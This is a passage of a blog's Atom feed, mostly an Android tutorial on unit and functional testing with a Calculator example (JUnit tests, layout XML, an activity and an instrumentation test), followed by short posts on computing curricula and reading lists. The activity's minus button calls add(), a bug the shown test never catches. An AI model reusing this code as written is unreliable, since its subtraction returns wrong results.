/&gt;    &lt;br /&gt;    private Calculator calculator;&lt;br /&gt;    &lt;br /&gt;    /**&lt;br /&gt;     * Sets up the test fixture. &lt;br /&gt;     * (Called before every test case method.)&lt;br /&gt;     */&lt;br /&gt;    @Before&lt;br /&gt;    public void setUp() {&lt;br /&gt;        calculator = new Calculator(6, 4);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Tears down the test fixture. &lt;br /&gt;     * (Called after every test case method.)&lt;br /&gt;     */&lt;br /&gt;    @After&lt;br /&gt;    public void tearDown() {&lt;br /&gt;        calculator = null;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Test method for {@link edu.fau.csi.junit.Calculator#add()}.&lt;br /&gt;     */&lt;br /&gt;    @Test&lt;br /&gt;    public void testAdd() {&lt;br /&gt;        assertTrue(calculator.add() == 10);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Test method for {@link edu.fau.csi.junit.Calculator#subtract()}.&lt;br /&gt;     */&lt;br /&gt;    @Test&lt;br /&gt;    public void testSubtract() {&lt;br /&gt;        assertTrue(calculator.subtract() == 2);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Test method for {@link edu.fau.csi.junit.Calculator#multiply()}.&lt;br /&gt;     */&lt;br /&gt;    @Test&lt;br /&gt;    public void testMultiply() {        &lt;br /&gt;        assertTrue(calculator.multiply() == 24);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    /**&lt;br /&gt;     * Test method for {@link edu.fau.csi.junit.Calculator#divide()}.&lt;br /&gt;     */&lt;br /&gt;    @Test&lt;br /&gt;    public void testDivide() {&lt;br /&gt;        assertTrue(calculator.divide() == 1.5);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Test method for {@link edu.fau.csi.junit.Calculator#divide()}.&lt;br /&gt;     */&lt;br /&gt;    @Test(expected = ArithmeticException.class)&lt;br /&gt;    public void testDivideByZero() {&lt;br /&gt;        Calculator calculator = new Calculator(6, 0);&lt;br /&gt;        calculator.divide();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;To run everything, right-click on the CalculatorTest class -&amp;gt; Run As -&amp;gt; JUnit Test. All five tests should pass.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Functional tests are written from the user's&amp;nbsp;perspective. They confirm that the system does what the user expected it to do, based on the functional requirements of the system, hence it focuses on the behavior that users are interested in. The tester interacts with the system to determine if the behavior is correct.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In Android, functional testing is possible through the android.test.* package(s). We are&amp;nbsp;going&amp;nbsp;to use the same Calculator example, adapted for Android. When you create the Calculator Android project in Eclipse, choose also co create a Test Project for it. You will end up with two project, the Calculator project and the CalculatorTest project. The layout of the Calculator project is described below:&lt;/div&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt;LinearLayout android:id="@+id/linear" &lt;br /&gt;    android:layout_width="fill_parent"&lt;br /&gt;    android:layout_height="fill_parent" &lt;br /&gt;    xmlns:android="http://schemas.android.com/apk/res/android"&lt;br /&gt;    android:orientation="vertical"&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;TableLayout android:id="@+id/table" &lt;br /&gt;        android:layout_width="fill_parent"&lt;br /&gt;        android:layout_height="wrap_content" &lt;br /&gt;        xmlns:android="http://schemas.android.com/apk/res/android"&lt;br /&gt;        android:orientation="vertical" &lt;br /&gt;        android:stretchColumns="1"&amp;gt;&lt;br /&gt;        &amp;lt;TableRow&amp;gt;&lt;br /&gt;            &amp;lt;TextView android:id="@+id/leftOperand_label" &lt;br /&gt;                android:layout_width="wrap_content"&lt;br /&gt;                android:layout_height="wrap_content" &lt;br /&gt;                android:padding="3dip"&lt;br /&gt;                android:textStyle="bold" &lt;br /&gt;                android:text="Left Operand"&amp;gt;&lt;br /&gt;            &amp;lt;/TextView&amp;gt;&lt;br /&gt;            &amp;lt;EditText android:id="@+id/leftOperand" &lt;br /&gt;                android:padding="3dip"&lt;br /&gt;                android:numeric="decimal"&lt;br /&gt;                android:singleLine="true"&lt;br /&gt;                android:scrollHorizontally="true" &lt;br /&gt;                android:nextFocusDown="@+id/rightOperand"&amp;gt;&lt;br /&gt;            &amp;lt;/EditText&amp;gt;&lt;br /&gt;        &amp;lt;/TableRow&amp;gt;&lt;br /&gt;        &amp;lt;TableRow&amp;gt;&lt;br /&gt;            &amp;lt;TextView android:id="@+id/rightOperand_label" &lt;br /&gt;                android:layout_width="wrap_content"&lt;br /&gt;                android:layout_height="wrap_content" &lt;br /&gt;                android:padding="3dip"&lt;br /&gt;                android:textStyle="bold" &lt;br /&gt;                android:text="Right Operand"&amp;gt;&lt;br /&gt;            &amp;lt;/TextView&amp;gt;&lt;br /&gt;            &amp;lt;EditText android:id="@+id/rightOperand" &lt;br /&gt;                android:padding="3dip"&lt;br /&gt;                android:singleLine="true"&lt;br /&gt;                android:scrollHorizontally="true"&lt;br /&gt;                android:nextFocusDown="@+id/plus"&amp;gt;&lt;br /&gt;            &amp;lt;/EditText&amp;gt;&lt;br /&gt;        &amp;lt;/TableRow&amp;gt;&lt;br /&gt;    &amp;lt;/TableLayout&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;LinearLayout android:id="@+id/buttons_linear" &lt;br /&gt;        android:layout_width="fill_parent"&lt;br /&gt;        android:layout_height="wrap_content"&lt;br /&gt;        android:orientation="horizontal"&amp;gt;&lt;br /&gt;        &lt;br /&gt;        &amp;lt;Button android:id="@+id/plus" &lt;br /&gt;            android:layout_width="0px"&lt;br /&gt;            android:layout_height="wrap_content" &lt;br /&gt;            android:layout_weight="1"&lt;br /&gt;            android:padding="6dip"&lt;br /&gt;            android:text="+" &lt;br /&gt;            android:layout_gravity="center_horizontal" &lt;br /&gt;            android:nextFocusRight="@+id/minus"&amp;gt;&lt;br /&gt;        &amp;lt;/Button&amp;gt;&lt;br /&gt;        &lt;br /&gt;        &amp;lt;Button android:id="@+id/minus" &lt;br /&gt;            android:layout_width="0px"&lt;br /&gt;            android:layout_height="wrap_content" &lt;br /&gt;            android:layout_weight="1"&lt;br /&gt;            android:padding="6dip"&lt;br /&gt;            android:text="-" &lt;br /&gt;            android:layout_gravity="center_horizontal" &lt;br /&gt;            android:nextFocusRight="@+id/multiply"&amp;gt;&lt;br /&gt;        &amp;lt;/Button&amp;gt;&lt;br /&gt;        &lt;br /&gt;        &amp;lt;Button android:id="@+id/multiply" &lt;br /&gt;            android:layout_width="0px"&lt;br /&gt;            android:layout_height="wrap_content" &lt;br /&gt;            android:layout_weight="1"&lt;br /&gt;            android:padding="6dip"&lt;br /&gt;            android:text="*" &lt;br /&gt;            android:layout_gravity="center_horizontal" &lt;br /&gt;            android:nextFocusRight="@+id/divide"&amp;gt;&lt;br /&gt;        &amp;lt;/Button&amp;gt;&lt;br /&gt;        &lt;br /&gt;        &amp;lt;Button android:id="@+id/divide" &lt;br /&gt;            android:layout_width="0px"&lt;br /&gt;            android:layout_height="wrap_content" &lt;br /&gt;            android:layout_weight="1"&lt;br /&gt;            android:padding="6dip"&lt;br /&gt;            android:text="/" &lt;br /&gt;            android:layout_gravity="center_horizontal" &lt;br /&gt;            android:nextFocusRight="@+id/divide"&amp;gt;&lt;br /&gt;        &amp;lt;/Button&amp;gt;&lt;br /&gt;        &lt;br /&gt;        &amp;lt;Button android:id="@+id/clear" &lt;br /&gt;            android:layout_width="0px"&lt;br /&gt;            android:layout_height="wrap_content" &lt;br /&gt;            android:layout_weight="1"&lt;br /&gt;            android:padding="6dip"&lt;br /&gt;            android:text="C" &lt;br /&gt;            android:layout_gravity="center_horizontal" &lt;br /&gt;            android:nextFocusRight="@+id/divide"&amp;gt;&lt;br /&gt;        &amp;lt;/Button&amp;gt;&lt;br /&gt;        &lt;br /&gt;    &amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;TextView android:id="@+id/result" &lt;br /&gt;        android:layout_width="fill_parent"&lt;br /&gt;        android:layout_height="wrap_content" &lt;br /&gt;        android:padding="20dip"&lt;br /&gt;        android:textStyle="bold" &lt;br /&gt;        android:gravity="right"&lt;br /&gt;        android:text="Result"&amp;gt;&lt;br /&gt;    &amp;lt;/TextView&amp;gt;&lt;br /&gt;    &lt;br /&gt;&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;It is a simple layout, with two initial text fields for the left and right operand, five buttons, each for one operation, plus a clear button, and one text field that will hold the result of the calculation. As a side note, I have put the text for each of these elements inside the layout xml file to save some time; you should put them inside the strings.xml file instead.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The CalculatorActivity class is described next:&lt;/div&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package edu.fau.csi.calculator;&lt;br /&gt;&lt;br /&gt;import android.app.Activity;&lt;br /&gt;import android.os.Bundle;&lt;br /&gt;import android.view.View;&lt;br /&gt;import android.view.View.OnClickListener;&lt;br /&gt;import android.widget.Button;&lt;br /&gt;import android.widget.EditText;&lt;br /&gt;import android.widget.TextView;&lt;br /&gt;&lt;br /&gt;public class CalculatorActivity extends Activity implements OnClickListener {&lt;br /&gt;&lt;br /&gt;    private EditText leftOperand;&lt;br /&gt;&lt;br /&gt;    private EditText rightOperand;&lt;br /&gt;&lt;br /&gt;    private TextView result;&lt;br /&gt;    &lt;br /&gt;    private Calculator calculator;&lt;br /&gt;    &lt;br /&gt;    /** Called when the activity is first created. */&lt;br /&gt;    @Override&lt;br /&gt;    public void onCreate(Bundle savedInstanceState) {&lt;br /&gt;        super.onCreate(savedInstanceState);&lt;br /&gt;        setContentView(R.layout.calculator);&lt;br /&gt;                        &lt;br /&gt;        leftOperand = (EditText)findViewById(R.id.leftOperand);&lt;br /&gt;        rightOperand = (EditText)findViewById(R.id.rightOperand);&lt;br /&gt;        result = (TextView)findViewById(R.id.result);&lt;br /&gt;&lt;br /&gt;        Button plus = (Button)findViewById(R.id.plus);&lt;br /&gt;        plus.setOnClickListener(this);&lt;br /&gt;        Button minus = (Button)findViewById(R.id.minus);&lt;br /&gt;        minus.setOnClickListener(this);&lt;br /&gt;        Button multiply = (Button)findViewById(R.id.multiply);&lt;br /&gt;        multiply.setOnClickListener(this);&lt;br /&gt;        Button divide = (Button)findViewById(R.id.divide);&lt;br /&gt;        divide.setOnClickListener(this);&lt;br /&gt;        Button clear = (Button)findViewById(R.id.clear);&lt;br /&gt;        clear.setOnClickListener(this);&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    @Override&lt;br /&gt;    public void onClick(View view) {&lt;br /&gt;        double leftOp = Double.parseDouble(leftOperand.getText().toString());&lt;br /&gt;        double rightOp = Double.parseDouble(rightOperand.getText().toString());&lt;br /&gt;        calculator = new Calculator(leftOp, rightOp);&lt;br /&gt;        &lt;br /&gt;        if (view.getId() == R.id.plus) {&lt;br /&gt;            result.setText("" + calculator.add());&lt;br /&gt;        }&lt;br /&gt;        else if (view.getId() == R.id.minus) {&lt;br /&gt;            result.setText("" + calculator.add());&lt;br /&gt;        }&lt;br /&gt;        else if (view.getId() == R.id.multiply) {&lt;br /&gt;            result.setText("" + calculator.multiply());&lt;br /&gt;        }&lt;br /&gt;        else if (view.getId() == R.id.divide) {&lt;br /&gt;            result.setText("" + calculator.divide());&lt;br /&gt;        }&lt;br /&gt;        else if (view.getId() == R.id.clear) {&lt;br /&gt;            leftOperand.setText("");&lt;br /&gt;            rightOperand.setText("");&lt;br /&gt;            result.setText("");&lt;br /&gt;            leftOperand.requestFocus();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The Calculator class that actually does the calculations is exactly the same as the one from the Java example.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;When you run this example, you will get the following screen:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_mPswsGUhiws/S2X9EgDXRXI/AAAAAAAAFbc/1czcYMgN57s/s1600-h/calculator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_mPswsGUhiws/S2X9EgDXRXI/AAAAAAAAFbc/1czcYMgN57s/s320/calculator.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The unit testing part is the same as the one mentioned in the unit testing section of this blog. You can still test your business logic without needing to interact with the application through its user interface. Actually, Calculator.java and CalculatorTest.java were just copied from the Java example to the Android without making any modifications.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Functional testing for this example involves the process of entering numbers in the two text fields, pressing one of the operations button, and checking the result to make sure it is the expected one. Instead of having the developer/user/tester do this manually, we can automate the task by sending key events through instrumentation, all from the CalculatorActivityTest class from the CalculatorTest application:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package edu.fau.csi.calculator.test;&lt;br /&gt;&lt;br /&gt;import android.test.ActivityInstrumentationTestCase2;&lt;br /&gt;import android.view.KeyEvent;&lt;br /&gt;import android.widget.TextView;&lt;br /&gt;import edu.fau.csi.calculator.CalculatorActivity;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class CalculatorActivityTest extends ActivityInstrumentationTestCase2&amp;lt;CalculatorActivity&amp;gt;{&lt;br /&gt;&lt;br /&gt;    private TextView result;&lt;br /&gt;&lt;br /&gt;    private CalculatorActivity calculatorInstance;&lt;br /&gt;&lt;br /&gt;    public CalculatorActivityTest() {&lt;br /&gt;        super("edu.fau.csi.calculator", CalculatorActivity.class);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /* (non-Javadoc)&lt;br /&gt;     * @see android.test.ActivityInstrumentationTestCase2#setUp()&lt;br /&gt;     */&lt;br /&gt;    @Override&lt;br /&gt;    protected void setUp() throws Exception {&lt;br /&gt;        // TODO Auto-generated method stub&lt;br /&gt;        super.setUp();&lt;br /&gt;        calculatorInstance = (CalculatorActivity) getActivity();&lt;br /&gt;        result = (TextView)calculatorInstance.findViewById(R.id.result);&lt;br /&gt;    &lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Test the addition operation of the CalculatorActivity&lt;br /&gt;     * &lt;br /&gt;     * @throws Throwable&lt;br /&gt;     */&lt;br /&gt;    public void testAdd() throws Throwable {&lt;br /&gt;        &lt;br /&gt;        //First field value&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_3 );&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_PERIOD );&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_5 );&lt;br /&gt;        &lt;br /&gt;        //Move to the second field&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_DPAD_DOWN );&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_2 );&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_PERIOD );&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_1 );&lt;br /&gt;&lt;br /&gt;        //Move to the '+' button&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_DPAD_DOWN );&lt;br /&gt;        sendKeys( KeyEvent.KEYCODE_DPAD_CENTER );&lt;br /&gt;&lt;br /&gt;        //Wait for the activity to finish all of its processing.&lt;br /&gt;        getInstrumentation().waitForIdleSync();&lt;br /&gt;        &lt;br /&gt;        //Use assertion to make sure the value is correct&lt;br /&gt;        assertTrue(result.getText().toString().equals("5.6"));&lt;br /&gt;        &lt;br /&gt;    } &lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The above activity test class inherits from the ActivityInstrumentationTestCase2 that provides functional testing of a single activity, namely our CalculatorActivity. The above code only tests the add method, but similar implementations can be done for all other three calculations.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The Android manifest file for the CalculatorTest project is described next:&lt;/div&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt;manifest xmlns:android="http://schemas.android.com/apk/res/android"&lt;br /&gt;      package="edu.fau.csi.calculator.test"&lt;br /&gt;      android:versionCode="1"&lt;br /&gt;      android:versionName="1.0"&amp;gt;&lt;br /&gt;    &amp;lt;application android:icon="@drawable/icon" android:label="@string/app_name"&amp;gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;uses-library android:name="android.test.runner" /&amp;gt;&lt;br /&gt;    &amp;lt;/application&amp;gt;&lt;br /&gt;    &amp;lt;uses-sdk android:minSdkVersion="4" /&amp;gt;&lt;br /&gt;    &amp;lt;instrumentation android:targetPackage="edu.fau.csi.calculator" &lt;br /&gt;        android:name="android.test.InstrumentationTestRunner" /&amp;gt;&lt;br /&gt;&amp;lt;/manifest&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;When the activity is ran for the first time, you have to create a new Android JUnit Test configuration. There are two possibilities, both shown below:&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/S2YDB0MPnHI/AAAAAAAAFbk/Z5DAsd-GmVI/s1600-h/AndroidJUnitTestConfig1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="301" src="http://3.bp.blogspot.com/_mPswsGUhiws/S2YDB0MPnHI/AAAAAAAAFbk/Z5DAsd-GmVI/s400/AndroidJUnitTestConfig1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;or&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_mPswsGUhiws/S2YDNcTWnXI/AAAAAAAAFbs/6r0l7MIrWc4/s1600-h/AndroidJUnitTestConfig2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="302" src="http://4.bp.blogspot.com/_mPswsGUhiws/S2YDNcTWnXI/AAAAAAAAFbs/6r0l7MIrWc4/s400/AndroidJUnitTestConfig2.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;When you run this, the Calculator application will start in the emulator, you will see the two text fields being populated with the values 3.5 and 2.1, the "+" button being pressed, and the result field populated with the result of the operation, namely 5.6.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I hope you find this helpful!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1830590248847453145?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1830590248847453145/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1830590248847453145' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1830590248847453145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1830590248847453145'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/01/unit-and-functional-testing-in-android.html' title='Unit and Functional Testing in Android'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_mPswsGUhiws/S2XqYSXFazI/AAAAAAAAFbU/1odsORyh7Nk/s72-c/UnitTesting.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7798080842740322964</id><published>2010-01-12T15:57:00.004-05:00</published><updated>2010-02-15T14:24:57.603-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='FAU'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Are students prepared for working in the industry?</title><content type='html'>&lt;div style="text-align: justify;"&gt;This should have actually been a two-part blog, first talk about the fact that there are now course on iPhone and Android programming offered at my university, and second transition to the topic&amp;nbsp;mentioned&amp;nbsp;in the title of the blog, namely the existing gap between what we are thought in school, and what is actually needed outside in the industry. Just by the fact that such courses are being offered, I believe that the gap is getting a little smaller. Read on to get a feel of what I think about all this.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I had my first lecture as part of the iPhone Programming class offered at &lt;a href="http://www.fau.edu/"&gt;FAU&lt;/a&gt;&amp;nbsp;(similar to the course offered at Stanford and &lt;a href="http://www.stanford.edu/class/cs193p/cgi-bin/drupal/"&gt;available online&lt;/a&gt; for free)&amp;nbsp;I am excited because mobile development has been a passion of mine for some time now. I have been working with J2ME since my fourth year of college (2004), and with Android since before its official 1.0 release. Both platforms come with their advantages and shortcomings. Now, the opportunity to take part of the iPhone class could not be left unanswered, hence I enrolled for the Spring semester as part of my last class moving toward the end of my PhD.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I wanted to look into iPhone programming for some time now, but there were some impediments like not owning a Mac, and not having time for it. Well, my first problem was solved because,&amp;nbsp;graciously&amp;nbsp;enough, our CEECS department at FAU has created an advanced Apple Lab that comes with 10 Macs and 5 iPod Touch. My second problem got solved due to the fact that I had to take one more class, so why not make it one that is all about mobile programming. At the end of the class, I could better compare and contrast the different mobile platforms that I am familiar with.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I had some (minor) complaints about the curricula here at FAU. I felt that the courses&amp;nbsp;being&amp;nbsp;thought are somewhat out of touch with the need of the industry. And because most of the students end up working in the industry, better choices for courses could be offered. I have a whole list of classes that I wish would be offered here, and I am going to share this with list with you (letting me know what other classes you think would be useful):&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Web Services (SOA more generally)&lt;/li&gt;&lt;li&gt;Software Testing (Black/White Box, Integration/Regression/Acceptance/Unit Testing, TDD)&lt;/li&gt;&lt;li&gt;Java and C# (and here maybe more on the Enterprise side with Java EE and .NET)&lt;/li&gt;&lt;li&gt;Compilers&lt;/li&gt;&lt;li&gt;Project Management (Lean, Agile (XP, Scrum), RUP, V-MODEL)&lt;/li&gt;&lt;li&gt;Functional and Logical Programming&lt;/li&gt;&lt;li&gt;Distributed Systems&lt;/li&gt;&lt;li&gt;Math for Computer Science&lt;/li&gt;&lt;li&gt;Web Developemnt (in terms of Rails, PhP, Flash, Perl, Python, GWT)&lt;/li&gt;&lt;li&gt;Software Security (Encryption, SSL/TSL, HTTPS, Cyphers, Hashes, etc)&lt;/li&gt;&lt;/ul&gt;Mobile Development class that would include Java ME, Android, and iPhone Programming, was also on the list but&amp;nbsp;fortunately&amp;nbsp;enough, Android and iPhone Programming are currently being taught here at FAU (I am much involved in the Android class, not as a student, but as a teaching assistant). Refactoring was also on the list, but having a whole class on this topic seems a little too much (instead it could be incorporated in any programming class available).&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I recently read an article written by Bjarne Stroustrup entitled "&lt;a href="http://cacm.acm.org/magazines/2010/1/55760-what-should-we-teach-new-software-developers-why/fulltext"&gt;What Should We Teach New Software Developers? Why&lt;/a&gt;", that expressed some of the feelings I have on this topic. Although there is still room for improvement, I do believe that we (FAU, but I am sure some universities were already on this path for some time) are going in the right direction offering courses that are useful when graduating from school.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7798080842740322964?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7798080842740322964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7798080842740322964' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7798080842740322964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7798080842740322964'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/01/are-students-prepared-for-working-in.html' title='Are students prepared for working in the industry?'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2051594553220984767</id><published>2010-01-05T04:51:00.002-05:00</published><updated>2010-01-12T15:10:15.596-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Development'/><title type='text'>Must-Read Software Development Resources for 2009</title><content type='html'>&lt;div&gt;&lt;div style="text-align: justify;"&gt;At the end of last year, Dustin Marx wrote a blog about the &lt;a href="http://marxsoftware.blogspot.com/2009/12/this-post-is-really-two-posts-in-one.html"&gt;Must-Read Software Development Resources for 2009&lt;/a&gt;, where he mentions useful blogs and articles for software developers. You'll find information ranging from discussion on simplicity to the existing gap between academia and industry (article written by Stroustrup, and the one I found most interesting of all).&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;If you find yourself wanting more, the last two links are to other ten papers that "every programmer should read", and you should read them as they are really&amp;nbsp;insightful.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2051594553220984767?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2051594553220984767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2051594553220984767' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2051594553220984767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2051594553220984767'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/01/must-read-software-development.html' title='Must-Read Software Development Resources for 2009'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4717009518012464076</id><published>2009-12-24T08:12:00.001-05:00</published><updated>2010-01-12T15:10:26.569-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nokia'/><category scheme='http://www.blogger.com/atom/ns#' term='cellphone concepts'/><category scheme='http://www.blogger.com/atom/ns#' term='LG'/><category 